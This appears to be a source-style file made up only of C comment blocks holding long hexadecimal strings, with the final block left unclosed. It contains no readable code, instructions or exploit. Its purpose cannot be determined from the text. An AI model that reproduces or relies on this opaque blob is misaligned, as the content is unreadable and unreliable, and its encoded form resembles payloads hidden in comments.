/*78355bd86806341e91357fd6d3827373c5bb99f614e0a91dad1699eb3704933e7bcf1f4e489ed5fd9e222810ab0c16cefa4fe1a497b9c927a32b565c490cad68470e6c94388e1e7c8d075f11a5c1770cee53192539db3b314066f86e3edf18e60f836396f0fc8f6d777e3072b9ca53380e391d7ca2d0a1f0432c28d21a984a352721a25f4e9f7c308c6be54079d16c9867a1fc6bc0060e63a31bf1d4c586bf9dd8d314ba48bc74ade97c53d927c76bea9df37bebae86d9b6c6ab9ad49f98ad7bd044897d49c2dce33d8add3b0e8166af5defc31aef8ffca84b770a354e5fa8ace6258654612ea97db6e2135215c32a09d15848c4d9ba09d0da14d9404c59d1691950772af4ad2651ae67f5665700f51d024282bf46358cebbae7f23da40518b50a383527a16d3f64bb78e1b9a46226538161722fba93474cc908eabb81a86dd8616c28b696850681c51a7b8427cd741958b35b6a5ed93e3cfec22680a469551208560e7e5171595756a2fa36534de2dcab953fd3959c95d356eb87c13276726022a00882f58df3bf51e99db1738ea113fb1979742b093924a312d4d8b96220d7a2d68e44ee3a01963567bc232b737ff2be5e19d42d08d21a1f78e7983b448b94d7095b270cf2306e7f7b63463d6fc8ed16a7a8a004d7d8b58bbad3f9020c4866b6e0d8b697665d8b43fd477f6128cba3d0bbc03e10ce66d556a48e10220f12ef45e6bc8b871a481103b0293c149ea113b80b7c47094613f4e2eeee13b56def6f82ebdad555129b9dae45f77f2b44a527f8db738621ca03dcf3c607c8d977c5194a693c1263bb1113f5965448a093001a2e77a9a7c00acd72280eb97491e5f924a8e6e3b02722b27feb22cad70bec463a39d8c39234288272e0d39e03acea67479bab519062044fb6d2a11770c80ee1e0cfe6e8de9db931d2ad5b2a513b185a471d575522dae4aa69a8d3b1d022ab76f3489f075ae017e44c777be26d0b88cba21facd72a999463c049bbba72c5b18f4cdd89171ff38044b9ccd2e0c1c6e1733f9c2ab1768da41f315b43d941c8fc9f40024c8e291dccec044b4ab367afdc0e06e37a665fec400a30b9b3ceb512aba541f44fc3f40174ac175d08643a6251df49ecade04f8be6366c4cdb2efc4aedf5fb37208aa168faa9515c13fdfdf1cdcda5ebc9a420417eae3252dbfa4710bc3932d38357b63ce7f026228f705e0e5eafda0a14ae5eb22816eda183740ca03e81514f5fac056edb26e7ba13b58df7098b119d67cfd5abc3d206682b54e783f5fc29b59f38988e89013e27d41c8dc4ed6eef92114b80b706135e3f12c43c770264a712cf95298afbc2108c2691dca033311bdf08ec4a2e6f19ec2c093825e71fb402e86d2cfcd6d8df8e3571475676c70a065575e652e31944a4ae80b5b3d49eac0af9acde66defd25cbb4702604a39e9b569e00b524f524d04edcd477ffc1e3ff44ccb95e78f79490d858ff595e2d0f5178f489433f53ffa3c7479afa88adbf7d0283d8c5ff641e73a3e6e64744fc47a305712979711a9f368582833f5e612b3e16e7e811ba3075c356599c50c7ebb135bb3cf282dee3d9f1dd68b0827f496eecde63110b03b57d0e31fe9bcf8a90fd7c4d1622542d646b3fcf182077a8194dd45989e84dd4fcaa466bb326e5c72f7543f4d57168d4fd9c4a3ffdaa589ed660354a176d86910307cdff210c3a88b0ec25317bff17c019e0534e4e0097136befe7f778cfe84f19b9398cc27256148a06baba88798d50ae07a9d82998fa7e72658259e2d3906a303e04bb1b4e0993fbf99ecef811bcf1c1c263c1ba8828d29e414455990ff86624e90eca57b851dbb8722cb246469de09c4f94dad6149fd7742b13556352b2b5111f6567341715815b55a4a546d97082b114bb8e65e7dace11f7a5b2931d1502792f5cf2b3c1c097981d81bb211c5a37f683d8c2bfe23629f26e39808a8287c27b8e6124003b0983beee6a6cb60f4bb03609d33106d6ddfb758db547e6ab39f161d866fa8347da362c018579aa467d22ab0940e6a920fef6908e24b758bc58294cb7b1d3b6a5ab240fbedd866fe9b7b6139e6cd7a3ab9242686d090be5502234a7ef162b9c391174a6139191a165538bcca6d94705ffe541c3602ee7871c5526a98d856d4b392d1842b2cc23b9f9e2ee43ab9558b621fa7e08b6b80312a4c8449ce5be55ee0abb6739c4fefb3bb16e6d3cefdeb34fb79b57b16fce0b5fb7ce1e893f1553b37bd39a890b928ff5ba439eb85ff879f6577f7f84bb8b5e7d238afafa354a148de18bf8a3196c9c61206175f83a40c1b8656d5bfc4595c27f0169c9120567b23b422351c9305e90261124e4a4e128bc1b964b2c84da5e56d59179e160e95feca860b5e167c208940e26fc96b29d9d810921584065969c06f3fd5ca2e79052ffc193a82b79cdad7f4c32c8d0c7bb696bdcf6ff9533541e5704c625997ea1a1facded3aeaa4bca6a708b578686f34e0b91ad6f7b9013d70e6fb8b2bc58bf6391a8e4fefe0a1d6597a5dd9d0a518e62885924178f7af4d8447f67dca6049d6793212bc30c6fd9b986d91d0fc0df54e98244c4ddd14449ecfec749d981bfdd3997ae6ddd7ca8a6fbe3f49d44722182f09fbd6bb25dcbeabf33c89abeded0893165be3104de05b5850d0013a459b5dc347d1e73c8e82f24d0ce2c473459e2e14c89af2e9c141cc900842b7452a9a9794184cebb19fd819e3367516cde4296c0e04b99442c005a6b80e7a412e7ce888e06b049027cfe4ba6a88baff173fb2f0d4769f510f26a9a76399b3969c6af8b0f193081b0d3fb217442c5d*/
/*cdc5a852c173ba9498025b67f9af52f68d50920a139e7e8d42ad20581ba6261b7168dab45094020b5ab826eb5329af18f141b5de39a876ed8496662f937f9c4c69c27c7c3f76c822c807929c4405b6856bbe0dd395d73f20cc96e89c7e8a9e19104b8e20dc35062a2f7d47a71d8a974971fd8bae23e0fd206428e6264ad189688679dad1e8a684e945b01be4e8bf3972a95e055b335e98b49edeb61e62945d0c3e9ed6183a9f39b4f75e11060a9b02e2b8179fdf95fe4f2f3f14a2db0e603a5cb08781e2d03b8edf00c6e78e5474e6548e31cee552d3f6cfa1a9c33e43599fd038d4d47a935897e1b1dce04f4c8b6081583489fd0cec8c4cad32c8e969772f029cd97683731cfc906cd1fee80b88958b9bc79cc3ea95e027fe1cd06cf39e1ab02ef1cb1c1fb2cfb552b0638dff1398e294e16604708906a746244762f32107058d9cedffcb26650eaee5c450c7f5009fe26f7abef11d069610a2c6ac22b991feef58d8d69d604111f27a591be2a8ed94d778ce472619483f558090f3553cc01d3a3e3e9d9b322c1d9add7f70b006201c0d431839f563e43ce124b0720a3b3fd1ab002dc4448578d6e0aff69340d39a2ecd5b7071531affca7af513b8d496e2edd006813ee87dc3177fa11611cd9499391b0cd91c481f6aa71a8c8d568f6e2b47897c1013f500e8bbd31067c11b1171d594355bc6f9c4b669d7c403a21fa3212fc5ddc1f67fd085969503daa10a22727789d978f2a55cb6c9f9f9410178b6a17932bd840f942b022ea437ea0cf6ab53d4c6601a12f0c8ba2b5fa46b55c37ed16ae71c756af7db557e41540388a53e8734e4220c6ccdc5c673dec38b3831b5acca8c103c11058b76662e90fc3339e8b92fb7aa53ead9cb8aba6e7854bcdc141d5194028a16738f996936be6bc4de526d1bc459e130afe6511cd5e5e0844c8a902f7ebb97f11d6f3ee39d2cdf080d76551d8e0102bee376fec964175badce153048ea9e4f731caf815c83ea726784efcfddfb48816efa35e4d39e99f7814d9f563e706700c34e5b5b5b7d00940c89275892d231f1a9527f596bdcb66907205c16f3f508408fa881b1d685a98d7672db2b44c15516149a3115ad2bbb3166e8b6f91072517b00e728c9d1db9be3b36ba3112f8e1fc1d75c3e3bc57566a11fde5bbf2caa2ccf1086c14ac7db8488543c2a1d33cb61e4010ee4ed60e4e6dcf076ddb2450372c05e4ae60917469e71350347c201861858f0c0558b6bc6fa927a48574547c51b2df3e947f654d27a60ac3935a78e037d67506ce2c0bfde0cf535fbf5024d3b0530f32fefa225811761a85f99743cbd8d9513cd7fd42ea5d57b19b028033b53e8fec84b68888897664fb9fcc6119e33910c406d937a70b633b80a525561431e436af5e5ab04187f97ef05bd5ef5a7574790d3625eea07a092ac9468b7c2f9f31770cf11081f201658f861b55ca91c69b6fd0b80a1ab71b43bf285dedffc342b7f4bea2816952ddb78a352988226ea4b283fd32c230b0fb4f20768de386d98090cde3c391880abbeaad8bb94b2cd3cb65bec5314817406825ecccdb3c48616d4701b265519325252dc5aa569f5f40435013d6092d6d09d349c491fb8d5996ca7e46ca17d4891ceb394c59b6b89dda19fe28aec7bb493fac67ea626b37b57ded5af7a048afebf25ace760dab8714726415fc3055a35ad3d537ea4bf1a1790bede842632d8773d41d46652dd2c837b5f28c3f8e2f074bf1328319c9bd9aff6ef6b67a8e2ab37b937c6adc8a758fadab18baff52d663b5b1d5f6ab46822d4edb31ccc444026333fb5f4b47a16d997ecad4ffc213e4933e85778a5618e49271f2e4b2bb58f841105d368af7eef2d5a0865d41446e0832701440353a5890c3d522165fe9ee512679b92b5226db3326f4548ff190bc1f7137868ae6f158a65dbb09ed0b4c62738863e427cf8cd6f5ef2acd4548f0fac2fb702b11587e1a765d4e593c83c0f62043dc5b1092db0cc0c006bb6450f98c1bd876ae89de9152d1054749f3829cd0a7c773c8d4a596f7d0f304e58515990c617db311348706d52814e4af64a4aac3fb6746acb121b1facca4edc929ec81e83dbf4f5bdeb69ef23ae91a6743f74b83ae31ad726302894d545eb46e5faea69fcba1fe77d78a34bf9251e128e61439df6961aa7bc58754a29832af3fcb91bdf90c59cf668f058ebf30c7949589f635ed995946ffe1023f28964548f3820b950d2f685d624853b4d6f11bd2823d0b210fd1ff2efa1f1cc341b298f54ae05a8399389f37a448500fb66dd9bade1a40fb6760e29740f2cb881532d8779c181d51fd8ac804b2f2658094a812374bb79273a9e8f6d95ab4e8509ba29f7b1a536771ba238bd696c1abb5c2ed63361b1c926e18b4a468adaa8fc4f04eb6d53e13ab58533ebd1532b8146cb1db787e6bd29a8af558230d6fde71a5f38dc0e6c2e9532e6ea63b53e18307e9ccaef43b4a194678e0ac5b1b9540280605b010ccd00ad60769cff601c5009f62b2906a3a20dcaf6f9be8d5933f789fb25dac7f54954bb44f89c26da6be86446f5c50718a0042010d56e00a3a9d29f47bd84a7ecfe4ec6c9d4e913d7c6aa8ce89f343f3a6c6ebc2e9846b3ab00ba36bf3c849ad415c88ed0c4fa79800be964fcea7e433c684e90edfcb5e95825fd606492c83d48c421c5235e8139addb7de964a11701b0fc7a3f451947e8f0b829c607d39da182e5be44102818a21aef89f03b8b2d1885fac87f85c0b83d975e8ddb5d961074662aa29fdd6a6fc2daafd027be78d466f325c9c7cd6abbeea7180fb024d04235421910*/
/*2412d77f72d7c6a32a0d752d0b38cac0761706228243942bfefd2a92d5173d342537ba5c2e20985e2ae6f258429a4c36eb18d2294f05eeb13e812b38cbff117f92f7f4eaae77f4b32089c2ef7323a8c61c95aee94ffe9ef7194d9e04aaba0f2773c51228c6b191c87c6c6cb0a08929c3687c93a9c277d09af1cd144afc5ba423e165b2dfe7f16ce26a46e62e41e21eca11154eea1657c40a19aa601c567c89b24ff858642c491ca5d97013902958e95ddb7b8b97adc583c409d3f104a5f7decf3a728dbdf48560cc5fd80d2dcfbda5335e918bff5b52fc8e81ad26db81090900e4ad6f05f95c4ba3d4c24d8cd50c08f91a3df5009e3651e0419cdd249d6608d8311d9f1eecaa8eadd58fe8239a65750ca9e16ddb765602613c4f60a6bf2c8e507d147b1e807a74b0933a17ff699a9222e6273154da1695ee0c3cb4bade7b7e7eb48d41ffae25105fcd93d2f09fce45f2eea538861d8bbcd8161c41fe6ffe2c09e8f7f2e32e4b77c87c9641f610bc046a604ca291c849c3c9fbc58c42f41d83a1bcfd413fc2b5c6b73b80dc8e43563d8a97cd357b4bb8dd42c6d49f92fa444b7d82c8f3c0f46e26a585c8daf3e0c5d8fb216c8f85d5f7a4005dc370a649902a7b6328f5cdfea5f280096faa19c043e6fdd08fb2345ee403997bb0fee6c5b47ced07362afcdf21e5534960bbe25623f162c291db3cc5cee606e821e15b53e30f80200766e9eebd42fb5aed742951cfce83115d1097a2af13adaaa8dcfb579ac9aadbcf8440cbde6744cc3e61d91b7c106c955e4d2bb7cf3f483248675319bc3b264a430d86520a14013d667cf505b897770bfc60d5c888642d7c0298f70ef38be0793b634297b80d157f9d22cf0b9c33cf5b2a76c82e8b575b8e5ebcecc33ba7623c0ab9863ef81c3053ea43978929bc713a13a42fdeb6788641766fc2701fa1636b16d346ce1b17e32fd9fc4f06bc1e86ea792286cbd6668e433b7e515664ded68d668bd011bbcc49b40adb5b7ed3a026f5ee87b77ebac5c5e9bb92b2bfae396b10de7c0e45f67d13dd0cfe9369e02e6da470f9611b2c7e0bedd39b7b4fd688936356c91b9ed1d48fc30b3098955c777801531b6136384e644e8752c813c3a5fb5cd3a920ca6a7ef04df45913708502b17c890cfae7d7f8d263152345af12ee32680a48e6467af084c87608ca7d9e7926456ef23432b316a2b494a2ec8ce1a8d694dbe681bd51356c1598534969a327a959d8485c7637178470f62be6a28c1a979fb4128f79d8e62f4ad6b6df9f7bafb4d77d2e6d3a2f2efaee12e82d4ed12f0d8f25add4b5d99338a352c2f133a7ca1db445b482cdb2dfc048576e452f9526f7ab1d4c719272ee1105f6902992f4359061aa2664f8dba7a0e3ca9ad08ce68103249a0a0952dc872a901ad7f6545d622f6b983390b31cf20da17689870b209176f737c5953698409776946a753739204cd9d1c4421347cf6c3fcbf281aefd568a7382be5c8e213c8264245da6f056d372e2b966e0ed6081fd87830af63b6f5c66c7917007462bdc75a77e9e348b9e5cfb26575bd7df5068913f7596b56181eeb7860e2f064907b375c8477a89337e3cf0fe445f52a5518b895d5ebb16d604c082e395168b745ff5e5d1da3139b6ad6caeb0f19ba817a7d2c92fc8c6093821e00f7173e50a2e18ed2ed879e44ccbee661d352843476cb64d3a90e930551a73602454439808ead4d0de383421501fbadf98eb95c3ff9ceff282aa5e5e777f48ee5ac7f593f8d0c36f501f4394ecae0b8da3568abd0c2b3b7b21514fd753ffba366b9f53ae21603a393523f817d0bf65cc5c86053b0b7b94034d37e090ed364269f1683de8a188a4d9dc172c6df14f7a8b73a940c71c2dc14facfafb0af891db791fe4a04a9037c99a8274c2f83ee110b5a9a5997ab0c682eaad16be7d1f1865b5ac54f9f545f27987dfd0b031a23dd4d85df470e2785331a3d9049856f2d3951273b0545b116266716e7b5d4ff0427d3f68e23a743007775aae3af8fb9daaccd49ac9cd4fe76fdb755cb00a6b231be5ef438942cb56749f2f4f05656cebb58343360c7106fd06fa20d77b31b046d25eeffe0967e7fe3c86e311ecac2cf427f62c78eef7dc12c66c47089dee3c412b5e00c6754c7ab2de1d461b3018964eb8f2339b0a3f4d9f0a3318b5664d2279e991f0b0cd0b793f40f354473dd25b9460b138aa7ce2f6b82e16ba7c2e609b43cafde8cd4757ff20bed8220e47ea6b1eeac73f74201cafc7b440d11f0207756951da49528ec350a19204d3f084ba2f78640b827be1b353f2308f730d9ea0869fc654ae5110b96b6a4ac26c47fd38bbfd7dc184f0fcfffbd4dabf000536b69d813acdd1534e3bd444912fd2667f8956c2c9f8971fa7ad0d03d3038c2cfb5d9dd7adc221a86e77b3acdc492df4ee5efb3f5f2b6dedb79679a589992c06e7ee5ca6423234e30c8536555b74c57a249e601b6e1eb3e0c549cfd464291d54342f1af1f7d4170704c9ae613685831ab2a6c28fece2a56e4ec93b2ec04b11abe68ed10174425e9d21be63c466248ccc9a58cf51d1300a5a089a73be86f527a1e968fa7cf678a47bd4d5aadb319d219fc5b985052bebd44835386afa1047f89451fd5c57b27704e5dc00424ca72a49085b5a18c450d3d422582600b2d3fe38c00b2a43e06ddb3c3b45cb26793ed29033c5d9b846cca7ef034780c0419f85a26e0a3c3003748d3865f7fe42e2f2537dfebe4d2eecdd1ed3becb907a9bb2f290d1061250a74d948390863ff56e897d6d2d034ae6f3d029350e4f63c0e3d8398be743cfb196d82b18e2*/
/*223ce0f980b5e5022766bfd5ec37ab8e596b9daa904f6a94655036c313d7304c5c9357e63acfc5986f0eb938bb11cca7c93b1f43b3a5aefde2f3143980cafedf7964f95141737a60b31191b92b6cf5019af90bde4681e4b499a6cd3a1cac47cc95ca071ab018441c6b88a808f809075beb6fe2afa5b5440015d9e9fb5093e61762f4c69ef99f510830b31149dda99be3ad3f844c39a95c4b38f530bd7531d3f8a316df7d43bc4ce1643fd7cfffd29def2d9cfcc02d821c9711ba662cbcd39f70f05d55657613f70b06f0b0616d2c17150e8b627844c12928f2d18b62e25ac4f0f0ad2d64649316f2a5482e4b21f940f97cf7b27bf0f82728ea30e8fb6405cbdc76f403d7c08cfa05ecde921684f15ea2e7755b3c16dd8446854e52e1d7ab79ea92e4aab5ddeb093426c86a96c76b070aac8c2a73f496c9e3a08d9c20708ee3cc1ff1de71ce81a08f677eb32dbfe42ad683be766b52fd5ed49b6551e2a3a668631faaf680dabbdaee0a4aa87c23dc32de7fa9d62f0f65f366c862c183521127871061d8f2fc217bdb271920388e67eccebcda3444ed11480d1599e77997303654b541e2d67f01e100ce3879584f6c2df2b90ef2b558bf5f4cd21bf86f13f98a3fb750bebee2575c508ee2ee4d8ef02aa47a89725a5226cae69db4c4a0f9369298e64356e8675a39225545c208a2ade46e7274604c1242027f11d7b9622c012aebe4d513c0154963f64593b6ef83a763bb9e8c687d386fd9ed34babbdd4f5284a20fd79d1270b16d11ae7e99794f67f75d0a3a5492d5a232e950f3939ba1e9e4abd0d59b699a507671edca4e8b0701b8b2f1ee5ca25a4b1c601c2487cee6528ad2f5fd7aec37b81f44f4f2e76ae331e40b871f9c530134d1006a9f4b1b679dc13f99667d6ad933405c533bc611ebced23146aeba8acc4af6efeee686416b1e5eb54f3ae3894f1e28335f92e6c51db65b24b9bb728ab9e499e9bc72633d8448f5c56239b0c795814e00ac2cb15830f5df69afe2a5aab75eeaab92a23925c975160c6fe7da05c6fa0f8cbaab8ec8793fcd5fdc0159897a4df369e11ccb955e458d3d343565df04b7997d0945090727124139d34db776220c96dd50416087e4da74089ea0f3d3a1dafa1a0d1b40463d46be8e493ffcb13e75d44eb7f4f9d2744cdb571d88613824703e789f793a327ef2094946771967efee59390a9d78e321af2fe976b902df9c706e929f111a4475bf3f985afb2760048b2c9ed59159cd77a0032ad5ba5a05c4e89f35583675265ff5d8a6abd2669cfd01b878b66bb70c03477de3ab46ed17d5b96d292311d94ce4730a584a3c19b9c402418c765474df79814aa88cb8a23937078b2448cb1bb920c94a8084e840d012e15246300b5809aa5c22fe02397a699011576f4db343ddcee6aaafc3ff5e3604b68c9ae1ee97a040515d570f858acf7b8d6aae4b5318d342219cf4d6243c99cd9b869322d90898e5cba6c02c216accce16d5a6f8aba9dd0450fdd3f98d6b58aee0ea4a1077c67386412b5eefeb721af1fc286ea3a3dbf0b772a7eb454f8f1c4839959216d222341b9158cc2ca78c31e03569cc75154a0a61c76c9dc494b7b36512b922125b147c8f410751e8383174b00e3d1bc1b7cbfb57b38f186068e7d51e410e4dae07b30fff5d60a17553a14a36f1f8563dcc946d1a9a71e12ed257f8ced1ce29afe6f57334759de3c5caa97a649097f4f90b74c1340b81237619ee94cffcbe33afadceb967f07e59548e158b347a0703bd8056d53bb78a60f3a4abba3f2fae54ff3b6211e8e649ceb30dd71220e7b9b28904993dee3e46fa7d39eb4418bee7cd3833e8958e16b2442d9459cad4a34dfef35a487aa1928ac9ab98b120b1953fe0062ecd612a3278f21aee9cfbc8ae16b3b2f01d4b0f9543fd9e6faa2987379b2e19ce0af4717630315924957758b45a9ef72d1b6725cc0ec6d2f17420d01997e515f47c7223e3dbb06939cf9760709fbdfba40af5a490167717bc6dac8c0d233f6824c6f625c69b89b6bd8a88b0819bdff92d219f4c6f49c9b8516dd68af2011f8bd866cd728749cccaa2007c2b799cee3eb76859d20ca33ac215630f075cd2ccf50a9b24c0231ba98829470e962180e7e38caf5e402c68bfaa2a50550f8e1ddb285a5500b1775ca96aa3d7b5e8869640a13b9fbc1cf6cb689b26663abe23d9a8d9ec06ccdbe5304ed3dcb3d5146bac402e214d57766d2410c6476f8165d58a8571198d6c4cb365b926c6ca2f63507e3705fda0dc99348bcd3a113cf5c2ee6a12036f7d206044b11a96b415ab39c179a97f28933323990e6359c2826f35b82125ac2ef5b13014065dd2d22240d1cf909043386ecb321535115310078bc3edf0100ab46314366be24b11afa3a110a5863221dbcf2cb5b3053de51c67242edc0609e62653fe6bef1bbfdd50f3518bcfbd95c7b1c2867c55e95957a367a66ff400b87079736443da2d2342eff633ff12475ff9f9711115a9927a4304266577441a4ef10de394638a6308f8f78126b502876f05d6f3226387df2bb517022f07eb4d8c97479bfd6e43ab100a6aa066099c045bb5309494731f100bce42e5b6975f1ae223fda836bcb8db4a2435031ca2b2934d7d40e59c82b6461fc7763195f91ab99900b7df4af66798ae860fa17383dc386bde2b516a36e36c2faa6c382593c5a1da2bd57b23aa3d5ea5f9bc373be43b8bbd2ff24ac10018970690901af6bff2b50324c0fca2119c4be8d408276a2125978b4f53e160a212a77600c4242c17943a3d043b457ec2e3bd10020a53c4dcc3ae24e81883897a3654b5*/
/*773d616a043ac08826cde002819e93830f740b41a46399616cb7c4ba6f6d33246b34054238e6b185f425790f102955a33db418a4f2460f9bfed221a22f843e85c702c12f17c0a3a209b1efa2973375d377730a188f82ae2ae96a75e4bda9ea6860e8a32dd790b3eeee7b5ecf8934de7cb72591fe0592d7c269a79e0ada96215486aee0326b74994ae4139a280fcd2e5ebd07d5992a8b8415af5c366f6a625c84fb81aa251b1ed74b76ea612c4e6ff509d76cecf3e20b8a99ee5fc877baf272383c4dbc221086cf5d3a17075cc37cf4148f6c9da79106c1dc12fc60c60b50a7c304b4d5bef0d486ec34c78aef0acf728d2c1086ed6568ac6e295b089cc77d3328928f92e26e11c6e20d4ac921c82d1dc84b5b0f1f85ba630554a6b34a52826ab95bdfc2a4a8af5fc05632b162f3809f5c630688757097cc22ee3bb3bda0be523119a6a1258fe3bd230f1b42b60a44afaff5382ed0d174e05d0f6305a849798731ca2bc40db009f72c2b58037f7e384a26403f6a07f28c06fc8b4f1986ef8cd0f86eebae1941e0fd4c081745b5e94f9af40e2a71ff265740ccbe2cb7885912e84dabdb0de5aa2ca40dfd433f77a3647c9d46be0c1a9fdf4856ee40dd9b440abc01031d07448a6cff6e0ccce8c47ce7738890bd0e6b555cfeff5df49cd7b5bf5b51f1e830f17aedd009a82ce657b4fd618576c9dad62dfb70416b035100e620f5471540e1ab1ecfc679cd14c10bc255740883fd683a90dd0348a41c21d5fcd1676b535c6642099114ff89b5e3366bec1404bf2231d64558067d01c5101caa61c39cd6c064b47d815de89963a3a715d1b86756977cc3301068e299b3bb6884a4237f69afbcd66087fcd9f46fc68303411d9a6af3595ec162caad16f1798aaf0f42cfb7bb43b1dd091f2a530f6e424becc464fcd769be4e83981ada9e079cc99b1c5adf6f55e4c6cfc0f75fe66382b798a60b8224ec8b1f1bb51038e0446114e136c01c2222cd5baddf85d89bcc26348b5b2236284fd68cfa9dd6af50a98b07068bedd7fe6c456ddf429bf2ca3630f485c2632746524cbe49728e315d7a26e71d8e7e150f0227d96821be85b08d556094b5d9a817d8e12796ad6e12cfc323f93b28f90e9110b75b6dd514a68c8df1cee213dd89493e6f515cbf2c38fc2d3b5c03fca1d1e027d74478116ba1ef2fb3b6ae0cef356585ac008b5191c7b9d31ffcc8e332d9dbf483e801ad610419d20d0a09a4439ef3120104e5fbf32fc747b97b736352066a469202ca859943ad6c0edea639e0cd734ba2ce6c73659f28b2ae0f88beb508bbfe673328a955fe868fe5d6fae5ee38c55b111886787d323b08d284c933c8c716bc4d57c79da0c2db8bf6cb23c4155e44b509addb5db7751197c1e8d08c6d5bff583cbe9fae099ea49e1d73ff73288855d72958696ed2966fbd4f9be0aa7aaa0111fcaebd978a5969431be92438c8705274d337c3fc99e7114cd8147397ceabb476cecc7e7a13a04b121f2bb5fdae29750ed1617ee4041a618c4cd0b6c7082f4ac52b098c2a4b7885e9a23fbc191bf5a6d4708857147af34e9dae8853d7e5f2177d813cb7453064968a33a5f7a00e785dd2fbdfdd62672d69a789a00c8aeb1940b5f7d491276cca8b28c5b685cf5745773ad334f59ea7209546a5926a5e3c27e73b76f66b429675ee19fd518c12a4ae81aa401a373d4ed062bbac75526a915cbb40747cbbb20b196ab32b6b1f3bd5ad68254d902bf2ffb058b0d492bb5af3432cb6897cffae37bdb8cc73229ad5a3dcaf6aef8b93a24f1f221236f47c4877e19b579d07c9fb64175e8b5a12e71564db1fcfada4608be47306d82fca95ccca8cc998850873fabe58cbfd4176c052a66f939984d98c61e74180ab7af6089102e53c4a389cf6431ba49770788d4e15f9bb2064d24dad06c03f127e2775696f5e3bb8f725bbdffafc942b02e633cc9c95a7e19cf9ea00beaa8ac2eaef5fde5918e0838414e6d37d39b93ccbfc2be7ca01b15a385f5d61b6844c784019c621679602e086eea0f1bac60b9368b3f71e83b65ab456dcf40b1d6feeae8fd0a9b2118d8590b89afa03259ca254ffe79593d71d73fd2a81b81c3891876c484277da09855a38b49fbe87bc2a14cc4df154bbc9a043659dac55a23cab2b4cd26bec48693d84dff9d2103b338fe80666b69fa6d0baf3df53eefe1ca864648db00d4556441c2f8204f4fa371a82e1816c5e0ef1547803760e8ef4057b49961d97be7d73e0599cdad60396d420acafec52c4580d5ebe9a12b9690065341a15d240df60e2d173cc70c082bc0eeaaa13462f98e9d6971bd470dfd2f8a8fa5f9edf97119e2296add9a9e1f599437b1f30b8b786c4333775329a4dcda9307561de32c6ace5fe66c07aed7e1198897ecc30db1d709e528a10605bcd2a0f30886584533b222174df238f6b94dce093567ab293d8481468d13d8a8548f88674bc62441861a43da084dbf5e3db5cdb8897b0c25dcbfbbf1839d7744eaef123dd16be3405130a38d563acd12c5ac79a03628bf963206094f0bccbe38049d541f52ea8c27cd44a459cdc240d14381bb6ef3bd64289706b73fbef9821f33fab5f48a3d438499285e1fa135c7c299988ec46ea1a35cf052c00b0d3e98a80e96584195f8a21c9861d5410f6f5de9a516105517786f81120652c8c79044c808d2f29e20cf7b0a971c485d5915c6e8d7282906e98e1b2564cb3678dfd9481a7bc3474d5da5387c13928e811a0eb5d7afc366f677a37a6990a879a42ee481d93d2f8f54e2dbe2503da2edd6ce1c3d706f7c7777eea294fbde93b222bd98a*/
/*1ffb49ddcac32100517c598b3892721e70b341771da2b81d2aedba25195bd69b1a927ca273329f6a63f60f30ae78ce6a08911cb6031a9f0d0d22101f7e75480de6b86cdcbbe4414c8319473eb96af061682a71f64d611765650779302b2c7ac4f3329af01e0c33b68e6f6fa6e34de267964836762b5cf05f15363f27b2b6b9fe731ea82d50e14229d8cc591e48434e5506469cd59a9b38db326fe81ecb7cb531e95b1f6bbed08c20a2c34494bb720012efb06cf326d1946e7f949ecfaa0d742989718f53f10ab41b9f0182eddf8a92a6f7f2ca902d0019c2489f878cb761d830e6a83c5af05d420238e4ba1ae14a205b2786b6b80399b021eadc8ea517fd65ee3aa780f1767ca6cc12c5b46dbf9eb85ea4227fcdcc1649b8b39d83008e89da84fb05657891b60eb32eef94291a10feaf28d4e72935053430e3a6e1962199bb80da01ebcd37788b38c0a8052832690966096bd1b3617f8305a16755e51d4a8f26c2863b7be02b988eb97036a53f2823da6a231a8b113481ba630a66a78a28da176057b81d1c673e383f510505b27a8c7fd2cb848332f7d7c24e6adff07f17c0ff16e035f5a44a56c98413dab3a051778aa61119756610a08d2f4d6e5e12f6dd76ad26f3ba8f74309d7ea4009633f61df088b71175ab9cf121ab7adf98b09fc1fc9eb16864f6fabb68f287f876cb04fbcce10924f17d25dc63301a6ac10bb777cd82e3c8555a8c192af5d3cb8c82683257dd91c400019f303d977d705ff17af6b18bf876cce43dbb580ff0f31d62bb99f9ede9aebe7ceb682add2e03aeaa7032f249260f4e483f3b277c6723129ed53f5e594828664f2f6d9b4e4e49c75b154457cc8ce216f1ccbb69d3c282cab5ef06a76cd65acc0b71a7b5925308482a079438f37e0f3eb0d79f7ffff03fb5a2b9548c74fadd95fdf08eacb4533d5736c8444072409c953f4ad2bab4f6feb2374b51f77326a7e974da85fbc4b78cc35cf1dec69b4ed28bfa77271685f37ed849c0b611b90681782bfc34b1d284d413564052caf9cdcbeeb3536bf84797dd162fbc6c5bfc5a15c0dc5663de3c84db3ea22950e54f986aa3c33ca9122be7bebd9d88dc22ffda9269f782c544726f6bc8440c691c43d956994c859a265d3a6b7289b59e8546ae0126460bb064980b2988f9c1134890efcd92669589fad23da5cb0e514e67bd4f83af51ad0e20da8f7c270c01d3227dc77eddea0d5451d68294a1fd65224f4f2dd38c8dcfbb87ea0481d6e58f24ff2eab3424ff02b6c0770453a5b54a1d8d1b4df9f2cb48f6f201faf8fe961ddb381256b8eafe098b302913fde9b9888ec7a68aabfe5bda8c118108edcffa21c3f7ed91552d6bf3c0b71d1924812561e85fe3110877c93fc78d27bcfb189792a0e93f4128b20100487573451efea1023547386fda550752c39a7f19856550ebec8902810e5f318c91df7bd97a89320b14cfd7dcda183197c3d2d2a6e2445ac25e3cada863e48b31bf8927ebc51836438ebcd2d5e93ad7e525b48343b77b0d2dca5cf4d4c18fd39630959a193e6e2730efc810e040f7b76b5ea98d74880deecb1553c1b6619462b93329be6404717e67659ec352dd2475f463dd7a48036e1361fd20cb370fbd58c6ac1f213a3d08da2587285a60769642efda88d3fec34e9286ef6fca0373254a8f5b1001b5de6dd253a06a81ef86132050bd06ef5c1ed15b68b1a4d791f9ff9948bac121406923ed5d467bf4de31aa1c421a019757647458284aeb386aec85939cdcc5ac6c3616f5945883c3610f8c174ad20d5c2c87451a51da01061578579d4d028b541cf1362400dad88b7ff0c5f1317dbba4c0d77a062b93f4228882d981257be96bfa56e7db951cb00605dc257bc1659f47309af17a3b73007aea35d69b52ed91a97b8316a5bec627b9a635528eb490e9e7152009e87da218739f7b3e55eb98cef610b93dec6372d172a8d8b5c0ff136cb10c86dfb9d1c6136fc31ed37b39d0855b855b9025ab63fce0092d01636d333b0d330f95d177a1c480d018f1bf5967425bf3626734cfd198dba670faf8262bcff28ed7592230663a79ea86bafddd3991ce912dedf171b6838b0f555af3519fc19f958d5e0d1a913fc5a8a698c355cc0ab95